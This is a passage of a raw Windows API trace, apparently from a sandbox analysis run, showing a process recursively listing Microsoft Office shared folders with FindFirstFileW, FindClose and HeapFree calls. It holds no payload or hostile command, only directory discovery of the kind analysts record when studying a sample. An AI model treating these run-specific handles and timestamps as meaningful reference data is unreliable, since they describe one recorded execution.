dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0049.878] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.879] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.879] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0049.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.880] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0049.880] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0049.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0049.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.981] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.982] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.982] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.982] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.982] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.982] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.982] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.983] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.983] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.983] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.984] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.984] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.984] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.985] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.985] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.985] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.985] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.985] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.985] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.985] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.985] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.986] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.986] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.986] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.986] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.986] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.986] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.993] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0049.993] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0049.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0049.999] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0050.001] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.001] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0050.001] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0050.001] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.001] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.254] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.254] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.254] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.255] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.255] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.255] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.255] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.255] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.255] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.255] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3810080 | out: hHeap=0xb80000) returned 1 [0050.255] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.255] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.256] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.256] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0050.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.258] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.259] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0050.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.259] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.259] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0050.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.260] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.260] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932a0 [0050.261] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2fae77c | out: lpFindFileData=0x2fae77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.261] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.261] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37f0070 | out: hHeap=0xb80000) returned 1 [0050.261] FindClose (in: hFindFile=0x5932a0 | out: hFindFile=0x5932a0) returned 1 [0050.261] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0050.261] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.261] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0050.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931e0 [0050.352] FindClose (in: hFindFile=0x5931e0 | out: hFindFile=0x5931e0) returned 1 [0050.352] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3830090 | out: hHeap=0xb80000) returned 1 [0050.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, 